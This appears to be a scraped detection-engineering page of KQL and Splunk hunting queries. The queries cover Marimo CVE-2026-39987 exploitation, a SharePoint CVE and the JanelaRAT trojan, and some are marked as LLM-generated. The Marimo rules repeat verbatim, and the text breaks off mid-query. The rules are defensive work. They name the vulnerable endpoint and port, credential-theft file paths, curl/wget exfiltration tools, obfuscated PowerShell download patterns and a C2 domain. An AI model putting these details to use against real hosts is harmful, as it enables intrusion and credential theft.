Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2009-0238")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2009-0238")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-144 use cases0 techniques3 kill-chain phases detected
Microsoft SharePoint Server contains an improper input validation vulnerability that allows an unauthorized attacker to perform spoofing over a network. Vendor: Microsoft, Product: SharePoint Server. Federal patch due: 2026-04-28.
CVEsCVE-2026-32201
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-32201")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-32201")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → PowerShell encoded / obfuscated command · Article-specific behavioural hunt — JanelaRAT: a financial threat targeting users in Latin America
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → File hash IOCs — endpoint file/process match · [LLM] JanelaRAT DLL sideload: PixelPaint.dll loaded by relocated nevasca.exe · [LLM] JanelaRAT persistence: Startup LNK + PowerShell re-fetch of PixelPaint.dll
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] JanelaRAT C2 beacon: VS / PL / AN query-string on port 443 without TLS
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("ciderurginsx.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("ciderurginsx.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("ciderurginsx.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Match SHA256/SHA1/MD5 named in the article against EDR file/process telemetry.
ATT&CKT1027
Data sourcesEndpoint.FilesystemEndpoint.ProcessesDeviceFileEventsDeviceProcessEvents
union DeviceFileEvents, DeviceProcessEvents
| where Timestamp > ago(7d)
| where SHA256 in~ ("808c87015194c51d74356854dfb10d9e", "d7a68749635604d6d7297e4fa2530eb6") or SHA1 in~ ("808c87015194c51d74356854dfb10d9e", "d7a68749635604d6d7297e4fa2530eb6") or MD5 in~ ("808c87015194c51d74356854dfb10d9e", "d7a68749635604d6d7297e4fa2530eb6")
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("808c87015194c51d74356854dfb10d9e", "d7a68749635604d6d7297e4fa2530eb6")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("808c87015194c51d74356854dfb10d9e", "d7a68749635604d6d7297e4fa2530eb6")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — JanelaRAT: a financial threat targeting users in Latin AmericaExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1547.001
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — JanelaRAT: a financial threat targeting users in Latin America
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("nevasca.exe", "pixelpaint.dll"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("nevasca.exe", "pixelpaint.dll"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — JanelaRAT: a financial threat targeting users in Latin America ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("nevasca.exe","pixelpaint.dll"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("nevasca.exe","pixelpaint.dll"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] JanelaRAT DLL sideload: PixelPaint.dll loaded by relocated nevasca.exeInstallationHigh
Hunts for the JanelaRAT sideload chain where MSI drops the legitimate nevasca.exe and PixelPaint.dll into a user-writable path (often renamed with random strings) and the executable then sideloads PixelPaint.dll. The DLL filename is preserved when the staging-server PowerShell re-downloads it for persistence, making PixelPaint.dll a high-fidelity artifact.
Rationale: PixelPaint.dll and nevasca.exe are the explicit sideload pair named by Kaspersky and corroborated by Zscaler ThreatLabz and Nextron's YARA rules. msiexec.exe as the dropper parent and a user-writable path narrow false positives versus a legitimate pixel-art application install.
Cross-checked against:
• https://www.zscaler.com/blogs/security-research/janelarat-repurposed-bx-rat-variant-targeting-latam-fintech
• https://www.nextron-systems.com/2023/09/15/detecting-janelarat-with-yara-and-thor/
• https://malpedia.caad.fkie.fraunhofer.de/details/win.janela_rat
ATT&CKT1574.002T1218.007
Data sourcesEndpoint.FilesystemEndpoint.Processes
DeviceImageLoadEvents
| where FileName =~ "PixelPaint.dll"
| where not(FolderPath has_any (@"\Program Files\", @"\Program Files (x86)\"))
| join kind=leftouter (
DeviceFileEvents
| where FileName =~ "PixelPaint.dll" or FileName =~ "nevasca.exe"
| where InitiatingProcessFileName =~ "msiexec.exe"
| project DeviceId, DroppedFile=FileName, DroppedPath=FolderPath, DropTime=Timestamp
) on DeviceId
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, FolderPath, SHA256, DroppedFile, DroppedPath, DropTime
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_name="PixelPaint.dll" OR Filesystem.file_name="nevasca.exe") AND (Filesystem.file_path="*\\AppData\\*" OR Filesystem.file_path="*\\ProgramData\\*" OR Filesystem.file_path="*\\Public\\*" OR Filesystem.file_path="*\\Temp\\*") by Filesystem.dest Filesystem.user Filesystem.file_name Filesystem.file_path Filesystem.process_name Filesystem.process_guid | `drop_dm_object_name(Filesystem)` | join type=left process_guid [| tstats summariesonly=t count from datamodel=Endpoint.Processes where Processes.parent_process_name="msiexec.exe" by Processes.process_guid Processes.parent_process_name Processes.process_name | `drop_dm_object_name(Processes)`] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] JanelaRAT C2 beacon: VS / PL / AN query-string on port 443 without TLSCommand & ControlHigh
Detects JanelaRAT v33's distinctive HTTP beacon pattern '?VS=<ver>&PL=<profile>&AN=<antifraud>' delivered to a date-rotating DDNS subdomain over TCP/443 without a TLS handshake. The triple parameter combo plus cleartext-on-443 is highly specific to this campaign.
Rationale: The URL parameter triplet VS/PL/AN, the unencrypted TCP/443 channel and the daily-rotating DDNS pattern are explicitly described in the Kaspersky write-up and the IOC ciderurginsx.com is confirmed by Zscaler / Rewterz. Requiring all three params or the known C2 keeps FP volume low.
Cross-checked against:
• https://www.zscaler.com/blogs/security-research/janelarat-repurposed-bx-rat-variant-targeting-latam-fintech
• https://rewterz.com/rewterz-news/rewterz-threat-alert-modified-variant-of-bx-rat-janelarat-targeting-financial-institutions-in-latam-active-iocs
• https://thehackernews.com/2023/08/new-financial-malware-janelarat-targets.html
ATT&CKT1071.001T1568.002
Data sourcesWeb.WebNetwork_Resolution.DNSNetwork_Traffic.All_Traffic
let janela_params = dynamic(["VS=", "PL=", "AN="]);
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where (RemoteUrl has_all (janela_params))
or RemoteUrl has "ciderurginsx.com"
or RemoteUrl matches regex @"\?VS=[^&]+&PL=[^&]*&AN=(Yes|No)"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, RemoteUrl, RemoteIP, RemotePort, ActionType
| union (
DeviceNetworkEvents
| where RemotePort == 443 and Protocol == "Tcp"
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","iexplore.exe","opera.exe","brave.exe","safari.exe","svchost.exe","OneDrive.exe","Teams.exe","outlook.exe")
| where InitiatingProcessFolderPath has_any (@"\AppData\", @"\ProgramData\", @"\Public\", @"\Temp\")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, RemoteIP, RemotePort
)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.http_method) as method values(Web.dest) as dest from datamodel=Web where Web.url="*VS=*" AND Web.url="*PL=*" AND Web.url="*AN=*" by Web.src Web.user Web.site | `drop_dm_object_name(Web)` | append [| tstats summariesonly=t count from datamodel=Network_Resolution where DNS.query="ciderurginsx.com" OR DNS.query="*.ciderurginsx.com" by DNS.src DNS.query | `drop_dm_object_name(DNS)`] | append [| tstats summariesonly=t count from datamodel=Network_Traffic where All_Traffic.dest_port=443 AND All_Traffic.app!="ssl" AND All_Traffic.app!="tls" AND All_Traffic.bytes_out>200 by All_Traffic.src All_Traffic.dest All_Traffic.dest_port All_Traffic.app | `drop_dm_object_name(All_Traffic)`] | `security_content_ctime(firstTime)`
[LLM] JanelaRAT persistence: Startup LNK + PowerShell re-fetch of PixelPaint.dllInstallationMedium
Hunts the post-exploitation persistence routine where a Startup-folder LNK is created by msiexec or wscript pointing into a user-writable directory, paired with a PowerShell process whose command line references PixelPaint.dll being re-downloaded from a staging server.
Rationale: Kaspersky describes both persistence methods (Startup LNK created by the MSI dropper and a PowerShell post-exploitation script that re-fetches PixelPaint.dll). Joining them on host within 60 minutes drives FP rate well below either signal alone — neither a benign LNK nor a generic PowerShell download would normally co-occur.
Cross-checked against:
• https://www.zscaler.com/blogs/security-research/janelarat-repurposed-bx-rat-variant-targeting-latam-fintech
• https://www.nextron-systems.com/2023/09/15/detecting-janelarat-with-yara-and-thor/
ATT&CKT1547.001T1059.001T1105
Data sourcesEndpoint.FilesystemEndpoint.Processes
let StartupDrops = DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath contains @"\Microsoft\Windows\Start Menu\Programs\Startup\"
| where FileName endswith ".lnk" or FileName endswith ".cmd" or FileName endswith ".bat"
| where InitiatingProcessFileName in~ ("msiexec.exe","wscript.exe","cscript.exe","powershell.exe","pwsh.exe")
| project DeviceId, DeviceName, StartupFile=FileName, StartupPath=FolderPath, Dropper=InitiatingProcessFileName, StartupTime=Timestamp;
let PsRefetch = DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
